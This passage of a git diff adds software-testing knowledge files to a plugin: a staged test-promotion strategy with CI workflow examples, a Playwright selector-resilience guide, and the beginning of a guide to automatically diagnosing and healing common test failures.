+- **Intelligent mapping**: Code changes → related tests
+- **Critical file detection**: Config changes = full suite
+- **Component mapping**: UI changes → component + E2E tests
+- **Fast feedback**: Run only what's needed (< 2 min typical)
+- **Safety net**: Unrecognized changes run smoke tests
+
+---
+
+### Example 4: Promotion Rules (Pre-Commit → CI → Staging → Production)
+
+**Context**: Progressive test execution strategy across deployment stages.
+
+**Implementation**:
+
+```typescript
+// scripts/test-promotion-strategy.ts
+/**
+ * Test Promotion Strategy
+ * Defines which tests run at each stage of the development lifecycle
+ */
+
+export type TestStage = 'pre-commit' | 'ci-pr' | 'ci-merge' | 'staging' | 'production';
+
+export type TestPromotion = {
+  stage: TestStage;
+  description: string;
+  testCommand: string;
+  timebudget: string; // minutes
+  required: boolean;
+  failureAction: 'block' | 'warn' | 'alert';
+};
+
+export const TEST_PROMOTION_RULES: Record<TestStage, TestPromotion> = {
+  'pre-commit': {
+    stage: 'pre-commit',
+    description: 'Local developer checks before git commit',
+    testCommand: 'npm run test:smoke',
+    timebudget: '2',
+    required: true,
+    failureAction: 'block',
+  },
+  'ci-pr': {
+    stage: 'ci-pr',
+    description: 'CI checks on pull request creation/update',
+    testCommand: 'npm run test:changed && npm run test:p0-p1',
+    timebudget: '10',
+    required: true,
+    failureAction: 'block',
+  },
+  'ci-merge': {
+    stage: 'ci-merge',
+    description: 'Full regression before merge to main',
+    testCommand: 'npm run test:regression',
+    timebudget: '30',
+    required: true,
+    failureAction: 'block',
+  },
+  staging: {
+    stage: 'staging',
+    description: 'Post-deployment validation in staging environment',
+    testCommand: 'npm run test:e2e -- --grep "@smoke"',
+    timebudget: '15',
+    required: true,
+    failureAction: 'block',
+  },
+  production: {
+    stage: 'production',
+    description: 'Production smoke tests post-deployment',
+    testCommand: 'npm run test:e2e:prod -- --grep "@smoke.*@p0"',
+    timebudget: '5',
+    required: false,
+    failureAction: 'alert',
+  },
+};
+
+/**
+ * Get tests to run for a specific stage
+ */
+export function getTestsForStage(stage: TestStage): TestPromotion {
+  return TEST_PROMOTION_RULES[stage];
+}
+
+/**
+ * Validate if tests can be promoted to next stage
+ */
+export function canPromote(currentStage: TestStage, testsPassed: boolean): boolean {
+  const promotion = TEST_PROMOTION_RULES[currentStage];
+
+  if (!promotion.required) {
+    return true; // Non-required tests don't block promotion
+  }
+
+  return testsPassed;
+}
+```
+
+**Husky pre-commit hook**:
+
+```bash
+#!/bin/bash
+# .husky/pre-commit
+# Run smoke tests before allowing commit
+
+echo "🔍 Running pre-commit tests..."
+
+npm run test:smoke
+
+if [ $? -ne 0 ]; then
+  echo ""
+  echo "❌ Pre-commit tests failed!"
+  echo "Please fix failures before committing."
+  echo ""
+  echo "To skip (NOT recommended): git commit --no-verify"
+  exit 1
+fi
+
+echo "✅ Pre-commit tests passed"
+```
+
+**GitHub Actions workflow**:
+
+```yaml
+# .github/workflows/test-promotion.yml
+name: Test Promotion Strategy
+on:
+  pull_request:
+  push:
+    branches: [main]
+  workflow_dispatch:
+
+jobs:
+  # Stage 1: PR tests (changed + P0-P1)
+  pr-tests:
+    if: github.event_name == 'pull_request'
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run PR-level tests
+        run: |
+          npm run test:changed
+          npm run test:p0-p1
+
+  # Stage 2: Full regression (pre-merge)
+  regression-tests:
+    if: github.event_name == 'push' && github.ref == 'refs/heads/main'
+    runs-on: ubuntu-latest
+    timeout-minutes: 30
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run full regression
+        run: npm run test:regression
+
+  # Stage 3: Staging validation (post-deploy)
+  staging-smoke:
+    if: github.event_name == 'workflow_dispatch'
+    runs-on: ubuntu-latest
+    timeout-minutes: 15
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run staging smoke tests
+        run: npm run test:e2e -- --grep "@smoke"
+        env:
+          TEST_ENV: staging
+
+  # Stage 4: Production smoke (post-deploy, non-blocking)
+  production-smoke:
+    if: github.event_name == 'workflow_dispatch'
+    runs-on: ubuntu-latest
+    timeout-minutes: 5
+    continue-on-error: true # Don't fail deployment if smoke tests fail
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run production smoke tests
+        run: npm run test:e2e:prod -- --grep "@smoke.*@p0"
+        env:
+          TEST_ENV: production
+
+      - name: Alert on failure
+        if: failure()
+        uses: 8398a7/action-slack@v3
+        with:
+          status: ${{ job.status }}
+          text: '🚨 Production smoke tests failed!'
+          webhook_url: ${{ secrets.SLACK_WEBHOOK }}
+```
+
+**Selection strategy documentation**:
+
+````markdown
+# Test Selection Strategy
+
+## Test Promotion Stages
+
+| Stage      | Tests Run           | Time Budget | Blocks Deploy | Failure Action |
+| ---------- | ------------------- | ----------- | ------------- | -------------- |
+| Pre-Commit | Smoke (@smoke)      | 2 min       | ✅ Yes        | Block commit   |
+| CI PR      | Changed + P0-P1     | 10 min      | ✅ Yes        | Block merge    |
+| CI Merge   | Full regression     | 30 min      | ✅ Yes        | Block deploy   |
+| Staging    | E2E smoke           | 15 min      | ✅ Yes        | Rollback       |
+| Production | Critical smoke only | 5 min       | ❌ No         | Alert team     |
+
+## When Full Regression Runs
+
+Full regression suite (`npm run test:regression`) runs in these scenarios:
+
+- ✅ Before merging to `main` (CI Merge stage)
+- ✅ Nightly builds (scheduled workflow)
+- ✅ Manual trigger (workflow_dispatch)
+- ✅ Release candidate testing
+
+Full regression does NOT run on:
+
+- ❌ Every PR commit (too slow)
+- ❌ Pre-commit hooks (too slow)
+- ❌ Production deployments (deploy-blocking)
+
+## Override Scenarios
+
+Skip tests (emergency only):
+
+```bash
+git commit --no-verify  # Skip pre-commit hook
+gh pr merge --admin     # Force merge (requires admin)
+```
+````
+
+```
+
+**Key Points**:
+- **Progressive validation**: More tests at each stage
+- **Time budgets**: Clear expectations per stage
+- **Blocking vs. alerting**: Production tests don't block deploy
+- **Documentation**: Team knows when full regression runs
+- **Emergency overrides**: Documented but discouraged
+
+---
+
+## Test Selection Strategy Checklist
+
+Before implementing selective testing, verify:
+
+- [ ] **Tag strategy defined**: @smoke, @p0-p3, @regression documented
+- [ ] **Time budgets set**: Each stage has clear timeout (smoke < 5 min, full < 30 min)
+- [ ] **Changed file mapping**: Code changes → test selection logic implemented
+- [ ] **Promotion rules documented**: README explains when full regression runs
+- [ ] **CI integration**: GitHub Actions uses selective strategy
+- [ ] **Local parity**: Developers can run same selections locally
+- [ ] **Emergency overrides**: Skip mechanisms documented (--no-verify, admin merge)
+- [ ] **Metrics tracked**: Monitor test execution time and selection accuracy
+
+## Integration Points
+
+- Used in workflows: `*ci` (CI/CD setup), `*automate` (test generation with tags)
+- Related fragments: `ci-burn-in.md`, `test-priorities-matrix.md`, `test-quality.md`
+- Selection tools: Playwright --grep, Cypress @cypress/grep, git diff
+
+_Source: 32+ selective testing strategies blog, Murat testing philosophy, enterprise CI optimization_
+```
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/selector-resilience.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/selector-resilience.md
new file mode 100644
index 0000000..06f0b04
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/selector-resilience.md
@@ -0,0 +1,527 @@
+# Selector Resilience
+
+## Principle
+
+Robust selectors follow a strict hierarchy: **data-testid > ARIA roles > text content > CSS/IDs** (last resort). Selectors must be resilient to UI changes (styling, layout, content updates) and remain human-readable for maintenance.
+
+## Rationale
+
+**The Problem**: Brittle selectors (CSS classes, nth-child, complex XPath) break when UI styling changes, elements are reordered, or design updates occur. This causes test maintenance burden and false negatives.
+
+**The Solution**: Prioritize semantic selectors that reflect user intent (ARIA roles, accessible names, test IDs). Use dynamic filtering for lists instead of nth() indexes. Validate selectors during code review and refactor proactively.
+
+**Why This Matters**:
+
+- Prevents false test failures (UI refactoring doesn't break tests)
+- Improves accessibility (ARIA roles benefit both tests and screen readers)
+- Enhances readability (semantic selectors document user intent)
+- Reduces maintenance burden (robust selectors survive design changes)
+
+## Pattern Examples
+
+### Example 1: Selector Hierarchy (Priority Order with Examples)
+
+**Context**: Choose the most resilient selector for each element type
+
+**Implementation**:
+
+```typescript
+// tests/selectors/hierarchy-examples.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Hierarchy Best Practices', () => {
+  test('Level 1: data-testid (BEST - most resilient)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ✅ Best: Dedicated test attribute (survives all UI changes)
+    await page.getByTestId('email-input').fill('user@example.com');
+    await page.getByTestId('password-input').fill('password123');
+    await page.getByTestId('login-button').click();
+
+    await expect(page.getByTestId('welcome-message')).toBeVisible();
+
+    // Why it's best:
+    // - Survives CSS refactoring (class name changes)
+    // - Survives layout changes (element reordering)
+    // - Survives content changes (button text updates)
+    // - Explicit test contract (developer knows it's for testing)
+  });
+
+  test('Level 2: ARIA roles and accessible names (GOOD - future-proof)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ✅ Good: Semantic HTML roles (benefits accessibility + tests)
+    await page.getByRole('textbox', { name: 'Email' }).fill('user@example.com');
+    await page.getByRole('textbox', { name: 'Password' }).fill('password123');
+    await page.getByRole('button', { name: 'Sign In' }).click();
+
+    await expect(page.getByRole('heading', { name: 'Welcome' })).toBeVisible();
+
+    // Why it's good:
+    // - Survives CSS refactoring
+    // - Survives layout changes
+    // - Enforces accessibility (screen reader compatible)
+    // - Self-documenting (role + name = clear intent)
+  });
+
+  test('Level 3: Text content (ACCEPTABLE - user-centric)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ✅ Acceptable: Text content (matches user perception)
+    await page.getByText('Create New Order').click();
+    await expect(page.getByText('Order Details')).toBeVisible();
+
+    // Why it's acceptable:
+    // - User-centric (what user sees)
+    // - Survives CSS/layout changes
+    // - Breaks when copy changes (forces test update with content)
+
+    // ⚠️ Use with caution for dynamic/localized content:
+    // - Avoid for content with variables: "User 123" (use regex instead)
+    // - Avoid for i18n content (use data-testid or ARIA)
+  });
+
+  test('Level 4: CSS classes/IDs (LAST RESORT - brittle)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ❌ Last resort: CSS class (breaks with styling updates)
+    // await page.locator('.btn-primary').click()
+
+    // ❌ Last resort: ID (breaks if ID changes)
+    // await page.locator('#login-form').fill(...)
+
+    // ✅ Better: Use data-testid or ARIA instead
+    await page.getByTestId('login-button').click();
+
+    // Why CSS/ID is last resort:
+    // - Breaks with CSS refactoring (class name changes)
+    // - Breaks with HTML restructuring (ID changes)
+    // - Not semantic (unclear what element does)
+    // - Tight coupling between tests and styling
+  });
+});
+```
+
+**Key Points**:
+
+- Hierarchy: data-testid (best) > ARIA (good) > text (acceptable) > CSS/ID (last resort)
+- data-testid survives ALL UI changes (explicit test contract)
+- ARIA roles enforce accessibility (screen reader compatible)
+- Text content is user-centric (but breaks with copy changes)
+- CSS/ID are brittle (break with styling refactoring)
+
+---
+
+### Example 2: Dynamic Selector Patterns (Lists, Filters, Regex)
+
+**Context**: Handle dynamic content, lists, and variable data with resilient selectors
+
+**Implementation**:
+
+```typescript
+// tests/selectors/dynamic-selectors.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Dynamic Selector Patterns', () => {
+  test('regex for variable content (user IDs, timestamps)', async ({ page }) => {
+    await page.goto('/users');
+
+    // ✅ Good: Regex pattern for dynamic user IDs
+    await expect(page.getByText(/User \d+/)).toBeVisible();
+
+    // ✅ Good: Regex for timestamps
+    await expect(page.getByText(/Last login: \d{4}-\d{2}-\d{2}/)).toBeVisible();
+
+    // ✅ Good: Regex for dynamic counts
+    await expect(page.getByText(/\d+ items in cart/)).toBeVisible();
+  });
+
+  test('partial text matching (case-insensitive, substring)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ✅ Good: Partial match (survives minor text changes)
+    await page.getByText('Product', { exact: false }).first().click();
+
+    // ✅ Good: Case-insensitive (survives capitalization changes)
+    await expect(page.getByText(/sign in/i)).toBeVisible();
+  });
+
+  test('filter locators for lists (avoid brittle nth)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Bad: Index-based (breaks when order changes)
+    // await page.locator('.product-card').nth(2).click()
+
+    // ✅ Good: Filter by content (resilient to reordering)
+    await page.locator('[data-testid="product-card"]').filter({ hasText: 'Premium Plan' }).click();
+
+    // ✅ Good: Filter by attribute
+    await page
+      .locator('[data-testid="product-card"]')
+      .filter({ has: page.locator('[data-status="active"]') })
+      .first()
+      .click();
+  });
+
+  test('nth() only when absolutely necessary', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ⚠️ Acceptable: nth(0) for first item (common pattern)
+    const firstNotification = page.getByTestId('notification').nth(0);
+    await expect(firstNotification).toContainText('Welcome');
+
+    // ❌ Bad: nth(5) for arbitrary index (fragile)
+    // await page.getByTestId('notification').nth(5).click()
+
+    // ✅ Better: Use filter() with specific criteria
+    await page.getByTestId('notification').filter({ hasText: 'Critical Alert' }).click();
+  });
+
+  test('combine multiple locators for specificity', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ✅ Good: Narrow scope with combined locators
+    const shippingSection = page.getByTestId('shipping-section');
+    await shippingSection.getByLabel('Address Line 1').fill('123 Main St');
+    await shippingSection.getByLabel('City').fill('New York');
+
+    // Scoping prevents ambiguity (multiple "City" fields on page)
+  });
+});
+```
+
+**Key Points**:
+
+- Regex patterns handle variable content (IDs, timestamps, counts)
+- Partial matching survives minor text changes (`exact: false`)
+- `filter()` is more resilient than `nth()` (content-based vs index-based)
+- `nth(0)` acceptable for "first item", avoid arbitrary indexes
+- Combine locators to narrow scope (prevent ambiguity)
+
+---
+
+### Example 3: Selector Anti-Patterns (What NOT to Do)
+
+**Context**: Common selector mistakes that cause brittle tests
+
+**Problem Examples**:
+
+```typescript
+// tests/selectors/anti-patterns.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Anti-Patterns to Avoid', () => {
+  test('❌ Anti-Pattern 1: CSS classes (brittle)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ❌ Bad: CSS class (breaks with design system updates)
+    // await page.locator('.btn-primary').click()
+    // await page.locator('.form-input-lg').fill('test@example.com')
+
+    // ✅ Good: Use data-testid or ARIA role
+    await page.getByTestId('login-button').click();
+    await page.getByRole('textbox', { name: 'Email' }).fill('test@example.com');
+  });
+
+  test('❌ Anti-Pattern 2: Index-based nth() (fragile)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Bad: Index-based (breaks when product order changes)
+    // await page.locator('.product-card').nth(3).click()
+
+    // ✅ Good: Content-based filter
+    await page.locator('[data-testid="product-card"]').filter({ hasText: 'Laptop' }).click();
+  });
+
+  test('❌ Anti-Pattern 3: Complex XPath (hard to maintain)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ❌ Bad: Complex XPath (unreadable, breaks with structure changes)
+    // await page.locator('xpath=//div[@class="container"]//section[2]//button[contains(@class, "primary")]').click()
+
+    // ✅ Good: Semantic selector
+    await page.getByRole('button', { name: 'Create Order' }).click();
+  });
+
+  test('❌ Anti-Pattern 4: ID selectors (coupled to implementation)', async ({ page }) => {
+    await page.goto('/settings');
+
+    // ❌ Bad: HTML ID (breaks if ID changes for accessibility/SEO)
+    // await page.locator('#user-settings-form').fill(...)
+
+    // ✅ Good: data-testid or ARIA landmark
+    await page.getByTestId('user-settings-form').getByLabel('Display Name').fill('John Doe');
+  });
+
+  test('✅ Refactoring: Bad → Good Selector', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // Before (brittle):
+    // await page.locator('.checkout-form > .payment-section > .btn-submit').click()
+
+    // After (resilient):
+    await page.getByTestId('checkout-form').getByRole('button', { name: 'Complete Payment' }).click();
+
+    await expect(page.getByText('Payment successful')).toBeVisible();
+  });
+});
+```
+
+**Why These Fail**:
+
+- **CSS classes**: Change frequently with design updates (Tailwind, CSS modules)
+- **nth() indexes**: Fragile to element reordering (new features, A/B tests)
+- **Complex XPath**: Unreadable, breaks with HTML structure changes
+- **HTML IDs**: Not stable (accessibility improvements change IDs)
+
+**Better Approach**: Use selector hierarchy (testid > ARIA > text)
+
+---
+
+### Example 4: Selector Debugging Techniques (Inspector, DevTools, MCP)
+
+**Context**: Debug selector failures interactively to find better alternatives
+
+**Implementation**:
+
+```typescript
+// tests/selectors/debugging-techniques.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Debugging Techniques', () => {
+  test('use Playwright Inspector to test selectors', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Pause test to open Inspector
+    await page.pause();
+
+    // In Inspector console, test selectors:
+    // page.getByTestId('user-menu')              ✅ Works
+    // page.getByRole('button', { name: 'Profile' }) ✅ Works
+    // page.locator('.btn-primary')               ❌ Brittle
+
+    // Use "Pick Locator" feature to generate selectors
+    // Use "Record" mode to capture user interactions
+
+    await page.getByTestId('user-menu').click();
+    await expect(page.getByRole('menu')).toBeVisible();
+  });
+
+  test('use locator.all() to debug lists', async ({ page }) => {
+    await page.goto('/products');
+
+    // Debug: How many products are visible?
+    const products = await page.getByTestId('product-card').all();
+    console.log(`Found ${products.length} products`);
+
+    // Debug: What text is in each product?
+    for (const product of products) {
+      const text = await product.textContent();
+      console.log(`Product text: ${text}`);
+    }
+
+    // Use findings to build better selector
+    await page.getByTestId('product-card').filter({ hasText: 'Laptop' }).click();
+  });
+
+  test('use DevTools console to test selectors', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // Open DevTools (manually or via page.pause())
+    // Test selectors in console:
+    // document.querySelectorAll('[data-testid="payment-method"]')
+    // document.querySelector('#credit-card-input')
+
+    // Find robust selector through trial and error
+    await page.getByTestId('payment-method').selectOption('credit-card');
+  });
+
+  test('MCP browser_generate_locator (if available)', async ({ page }) => {
+    await page.goto('/products');
+
+    // If Playwright MCP available, use browser_generate_locator:
+    // 1. Click element in browser
+    // 2. MCP generates optimal selector
+    // 3. Copy into test
+
+    // Example output from MCP:
+    // page.getByRole('link', { name: 'Product A' })
+
+    // Use generated selector
+    await page.getByRole('link', { name: 'Product A' }).click();
+    await expect(page).toHaveURL(/\/products\/\d+/);
+  });
+});
+```
+
+**Key Points**:
+
+- Playwright Inspector: Interactive selector testing with "Pick Locator" feature
+- `locator.all()`: Debug lists to understand structure and content
+- DevTools console: Test CSS selectors before adding to tests
+- MCP browser_generate_locator: Auto-generate optimal selectors (if MCP available)
+- Always validate selectors work before committing
+
+---
+
+### Example 2: Selector Refactoring Guide (Before/After Patterns)
+
+**Context**: Systematically improve brittle selectors to resilient alternatives
+
+**Implementation**:
+
+```typescript
+// tests/selectors/refactoring-guide.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Refactoring Patterns', () => {
+  test('refactor: CSS class → data-testid', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Before: CSS class (breaks with Tailwind updates)
+    // await page.locator('.bg-blue-500.px-4.py-2.rounded').click()
+
+    // ✅ After: data-testid
+    await page.getByTestId('add-to-cart-button').click();
+
+    // Implementation: Add data-testid to button component
+    // <button className="bg-blue-500 px-4 py-2 rounded" data-testid="add-to-cart-button">
+  });
+
+  test('refactor: nth() index → filter()', async ({ page }) => {
+    await page.goto('/users');
+
+    // ❌ Before: Index-based (breaks when users reorder)
+    // await page.locator('.user-row').nth(2).click()
+
+    // ✅ After: Content-based filter
+    await page.locator('[data-testid="user-row"]').filter({ hasText: 'john@example.com' }).click();
+  });
+
+  test('refactor: Complex XPath → ARIA role', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ❌ Before: Complex XPath (unreadable, brittle)
+    // await page.locator('xpath=//div[@id="payment"]//form//button[contains(@class, "submit")]').click()
+
+    // ✅ After: ARIA role
+    await page.getByRole('button', { name: 'Complete Payment' }).click();
+  });
+
+  test('refactor: ID selector → data-testid', async ({ page }) => {
+    await page.goto('/settings');
+
+    // ❌ Before: HTML ID (changes with accessibility improvements)
+    // await page.locator('#user-profile-section').getByLabel('Name').fill('John')
+
+    // ✅ After: data-testid + semantic label
+    await page.getByTestId('user-profile-section').getByLabel('Display Name').fill('John Doe');
+  });
+
+  test('refactor: Deeply nested CSS → scoped data-testid', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ❌ Before: Deep nesting (breaks with structure changes)
+    // await page.locator('.container .sidebar .menu .item:nth-child(3) a').click()
+
+    // ✅ After: Scoped data-testid
+    const sidebar = page.getByTestId('sidebar');
+    await sidebar.getByRole('link', { name: 'Settings' }).click();
+  });
+});
+```
+
+**Key Points**:
+
+- CSS class → data-testid (survives design system updates)
+- nth() → filter() (content-based vs index-based)
+- Complex XPath → ARIA role (readable, semantic)
+- ID → data-testid (decouples from HTML structure)
+- Deep nesting → scoped locators (modular, maintainable)
+
+---
+
+### Example 3: Selector Best Practices Checklist
+
+```typescript
+// tests/selectors/validation-checklist.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Selector Validation Checklist
+ *
+ * Before committing test, verify selectors meet these criteria:
+ */
+test.describe('Selector Best Practices Validation', () => {
+  test('✅ 1. Prefer data-testid for interactive elements', async ({ page }) => {
+    await page.goto('/login');
+
+    // Interactive elements (buttons, inputs, links) should use data-testid
+    await page.getByTestId('email-input').fill('test@example.com');
+    await page.getByTestId('login-button').click();
+  });
+
+  test('✅ 2. Use ARIA roles for semantic elements', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Semantic elements (headings, navigation, forms) use ARIA
+    await expect(page.getByRole('heading', { name: 'Dashboard' })).toBeVisible();
+    await page.getByRole('navigation').getByRole('link', { name: 'Settings' }).click();
+  });
+
+  test('✅ 3. Avoid CSS classes (except when testing styles)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Never for interaction: page.locator('.btn-primary')
+    // ✅ Only for visual regression: await expect(page.locator('.error-banner')).toHaveCSS('color', 'rgb(255, 0, 0)')
+  });
+
+  test('✅ 4. Use filter() instead of nth() for lists', async ({ page }) => {
+    await page.goto('/orders');
+
+    // List selection should be content-based
+    await page.getByTestId('order-row').filter({ hasText: 'Order #12345' }).click();
+  });
+
+  test('✅ 5. Selectors are human-readable', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ✅ Good: Clear intent
+    await page.getByTestId('shipping-address-form').getByLabel('Street Address').fill('123 Main St');
+
+    // ❌ Bad: Cryptic
+    // await page.locator('div > div:nth-child(2) > input[type="text"]').fill('123 Main St')
+  });
+});
+```
+
+**Validation Rules**:
+
+1. **Interactive elements** (buttons, inputs) → data-testid
+2. **Semantic elements** (headings, nav, forms) → ARIA roles
+3. **CSS classes** → Avoid (except visual regression tests)
+4. **Lists** → filter() over nth() (content-based selection)
+5. **Readability** → Selectors document user intent (clear, semantic)
+
+---
+
+## Selector Resilience Checklist
+
+Before deploying selectors:
+
+- [ ] **Hierarchy followed**: data-testid (1st choice) > ARIA (2nd) > text (3rd) > CSS/ID (last resort)
+- [ ] **Interactive elements use data-testid**: Buttons, inputs, links have dedicated test attributes
+- [ ] **Semantic elements use ARIA**: Headings, navigation, forms use roles and accessible names
+- [ ] **No brittle patterns**: No CSS classes (except visual tests), no arbitrary nth(), no complex XPath
+- [ ] **Dynamic content handled**: Regex for IDs/timestamps, filter() for lists, partial matching for text
+- [ ] **Selectors are scoped**: Use container locators to narrow scope (prevent ambiguity)
+- [ ] **Human-readable**: Selectors document user intent (clear, semantic, maintainable)
+- [ ] **Validated in Inspector**: Test selectors interactively before committing (page.pause())
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (generate tests with robust selectors), `*automate` (healing selector failures), `*test-review` (validate selector quality)
+- **Related fragments**: `test-healing-patterns.md` (selector failure diagnosis), `fixture-architecture.md` (page object alternatives), `test-quality.md` (maintainability standards)
+- **Tools**: Playwright Inspector (Pick Locator), DevTools console, Playwright MCP browser_generate_locator (optional)
+
+_Source: Playwright selector best practices, accessibility guidelines (ARIA), production test maintenance patterns_
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/test-healing-patterns.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/test-healing-patterns.md
new file mode 100644
index 0000000..ce2676d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/test-healing-patterns.md
@@ -0,0 +1,644 @@
+# Test Healing Patterns
+
+## Principle
+
+Common test failures follow predictable patterns (stale selectors, race conditions, dynamic data assertions, network errors, hard waits). **Automated healing** identifies failure signatures and applies pattern-based fixes. Manual healing captures these patterns for future automation.
+
+## Rationale
+
+**The Problem**: Test failures waste developer time on repetitive debugging. Teams manually fix the same selector issues, timing bugs, and data mismatches repeatedly across test suites.
+
+**The Solution**: Catalog common failure patterns with diagnostic signatures and automated fixes. When a test fails, match the error message/stack trace against known patterns and apply the corresponding fix. This transforms test maintenance from reactive debugging to proactive pattern application.
+
+**Why This Matters**:
+
+- Reduces test maintenance time by 60-80% (pattern-based fixes vs manual debugging)
+- Prevents flakiness regression (same bug fixed once, applied everywhere)
+- Builds institutional knowledge (failure catalog grows over time)
+- Enables self-healing test suites (automate workflow validates and heals)
+
+## Pattern Examples
+
+### Example 1: Common Failure Pattern - Stale Selectors (Element Not Found)
+
+**Context**: Test fails with "Element not found" or "Locator resolved to 0 elements" errors
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/selector-healing.ts
+
+export type SelectorFailure = {
+  errorMessage: string;
+  stackTrace: string;
+  selector: string;
+  testFile: string;
+  lineNumber: number;
+};
+
+/**
+ * Detect stale selector failures
+ */
+export function isSelectorFailure(error: Error): boolean {
+  const patterns = [
+    /locator.*resolved to 0 elements/i,
+    /element not found/i,
+    /waiting for locator.*to be visible/i,
+    /selector.*did not match any elements/i,
+    /unable to find element/i,
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Extract selector from error message
+ */
+export function extractSelector(errorMessage: string): string | null {
+  // Playwright: "locator('button[type=\"submit\"]') resolved to 0 elements"
+  const playwrightMatch = errorMessage.match(/locator\('([^']+)'\)/);
+  if (playwrightMatch) return playwrightMatch[1];
+
+  // Cypress: "Timed out retrying: Expected to find element: '.submit-button'"
+  const cypressMatch = errorMessage.match(/Expected to find element: ['"]([^'"]+)['"]/i);
+  if (cypressMatch) return cypressMatch[1];
+
+  return null;
+}
+
+/**
+ * Suggest better selector based on hierarchy
+ */
+export function suggestBetterSelector(badSelector: string): string {
+  // If using CSS class → suggest data-testid
+  if (badSelector.startsWith('.') || badSelector.includes('class=')) {
+    const elementName = badSelector.match(/class=["']([^"']+)["']/)?.[1] || badSelector.slice(1);
+    return `page.getByTestId('${elementName}') // Prefer data-testid over CSS class`;
+  }
+
+  // If using ID → suggest data-testid
+  if (badSelector.startsWith('#')) {
+    return `page.getByTestId('${badSelector.slice(1)}') // Prefer data-testid over ID`;
+  }
+
+  // If using nth() → suggest filter() or more specific selector
+  if (badSelector.includes('.nth(')) {
+    return `page.locator('${badSelector.split('.nth(')[0]}').filter({ hasText: 'specific text' }) // Avoid brittle nth(), use filter()`;
+  }
+
+  // If using complex CSS → suggest ARIA role
+  if (badSelector.includes('>') || badSelector.includes('+')) {
+    return `page.getByRole('button', { name: 'Submit' }) // Prefer ARIA roles over complex CSS`;
+  }
+
+  return `page.getByTestId('...') // Add data-testid attribute to element`;
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/selector-healing.spec.ts
+import { test, expect } from '@playwright/test';
+import { isSelectorFailure, extractSelector, suggestBetterSelector } from '../../src/testing/healing/selector-healing';
+
+test('heal stale selector failures automatically', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  try {
+    // Original test with brittle CSS selector
+    await page.locator('.btn-primary').click();
+  } catch (error: any) {
+    if (isSelectorFailure(error)) {
+      const badSelector = extractSelector(error.message);
+      const suggestion = badSelector ? suggestBetterSelector(badSelector) : null;
+
+      console.log('HEALING SUGGESTION:', suggestion);
+
+      // Apply healed selector
+      await page.getByTestId('submit-button').click(); // Fixed!
+    } else {
+      throw error; // Not a selector issue, rethrow
+    }
+  }
+
+  await expect(page.getByText('Success')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error message contains "locator resolved to 0 elements" or "element not found"
+- Fix: Replace brittle selector (CSS class, ID, nth) with robust alternative (data-testid, ARIA role)
+- Prevention: Follow selector hierarchy (data-testid > ARIA > text > CSS)
+- Automation: Pattern matching on error message + stack trace
+
+---
+
+### Example 2: Common Failure Pattern - Race Conditions (Timing Errors)
+
+**Context**: Test fails with "timeout waiting for element" or "element not visible" errors
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/timing-healing.ts
+
+export type TimingFailure = {
+  errorMessage: string;
+  testFile: string;
+  lineNumber: number;
+  actionType: 'click' | 'fill' | 'waitFor' | 'expect';
+};
+
+/**
+ * Detect race condition failures
+ */
+export function isTimingFailure(error: Error): boolean {
+  const patterns = [
+    /timeout.*waiting for/i,
+    /element is not visible/i,
+    /element is not attached to the dom/i,
+    /waiting for element to be visible.*exceeded/i,
+    /timed out retrying/i,
+    /waitForLoadState.*timeout/i,
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Detect hard wait anti-pattern
+ */
+export function hasHardWait(testCode: string): boolean {
+  const hardWaitPatterns = [/page\.waitForTimeout\(/, /cy\.wait\(\d+\)/, /await.*sleep\(/, /setTimeout\(/];
+
+  return hardWaitPatterns.some((pattern) => pattern.test(testCode));
+}
+
+/**
+ * Suggest deterministic wait replacement
+ */
+export function suggestDeterministicWait(testCode: string): string {
+  if (testCode.includes('page.waitForTimeout')) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+// await page.waitForTimeout(3000)
+
+// ✅ Good: Wait for network response
+await page.waitForResponse(resp => resp.url().includes('/api/data') && resp.status() === 200)
+
